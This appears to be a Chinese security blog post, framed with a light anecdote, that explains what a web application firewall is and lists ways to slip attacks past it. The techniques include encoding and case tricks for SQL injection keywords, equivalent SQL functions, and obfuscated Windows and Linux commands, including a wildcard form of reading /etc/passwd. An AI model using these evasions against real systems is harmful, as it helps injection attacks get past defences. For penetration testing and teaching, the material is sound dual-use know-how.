主页 > 网络知识 > 怎样绕过waf,了解什么是waf

怎样绕过waf,了解什么是waf

 

waf绕过拍了拍你

 

前言

一个安静的下午,和往常一样,逛着各大安全论坛,翻看新出的漏洞资讯,等待着下班。然而,一声不同寻常的微信消息提示音突然在我耳边响起。我立马打开微信看看是谁在这个时候找我。

 

waf绕过拍了拍你

 

妹子的要求不敢拒绝,身为菜鸡的我准备立马去学习一波waf绕过姿势。

 

waf绕过拍了拍你

 

知己知彼,了解什么是waf

身为一名合格的渗透测试人员,想要绕过waf,我们就先得先了解什么是waf。

Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。

 

waf绕过拍了拍你

 

为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测

对抗规则绕过

原理:匹配不到恶意语句就不会拦截。

对关键字进行不同编码

 

select * from zzz = select * from %257a%257a%257a //url编码

单引号 = %u0027、%u02b9、%u02bc   // Unicode编码

adminuser = 0x61646D696E75736572 // 部分十六进制编码

空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码

 

对关键字进行大小写变换

 

Union select = uNIoN sELecT

 

通过其他语义相同的关键字替换

 

And = &&

Or = ||

等于 = like 或综合<与>判断

if(a,b,c) = case when(A) then B else C end

substr(str,1,1) = substr (str) from 1 for 1

limit 1,1 = limit 1 offset 1

Union select 1,2 = union select * from ((select 1)A join (select 2)B;

hex()、bin() = ascii()

sleep() = benchmark()

concat_ws() = group_concat()

mid()、substr() = substring()

@@user = user()

@@datadir = datadir()

 

除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测

配合Windows特性

 

whoami = ((((Wh^o^am””i))))     //利用符号分割字符执行whoami

 

 

waf绕过拍了拍你

 

 

whoami = set a=net&&b=user&&call %a%%b%   //利用变量分割关键字执行whoami

 

 

waf绕过拍了拍你

 

 

set a=123whoami456     // 为了方便演示这里设置一个变量

echo %a:~3,6%         // 取出变量a的第3位开始共计6个字符

%a:~3,6%               //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

 

 

waf绕过拍了拍你

 

配合Linux特性

 

whoami = w’h’o’a’m”i” //单引号或双引号连接符,需要闭合

 

 

waf绕过拍了拍你

 

 

Cat /etc/passwd = cat /?t*/??ss** //?,*通配符

whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符

 

 

waf绕过拍了拍你

 

 

Whoami = a=who&&b=ami&&$a$b     //当然linux下也可以变量拼接

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!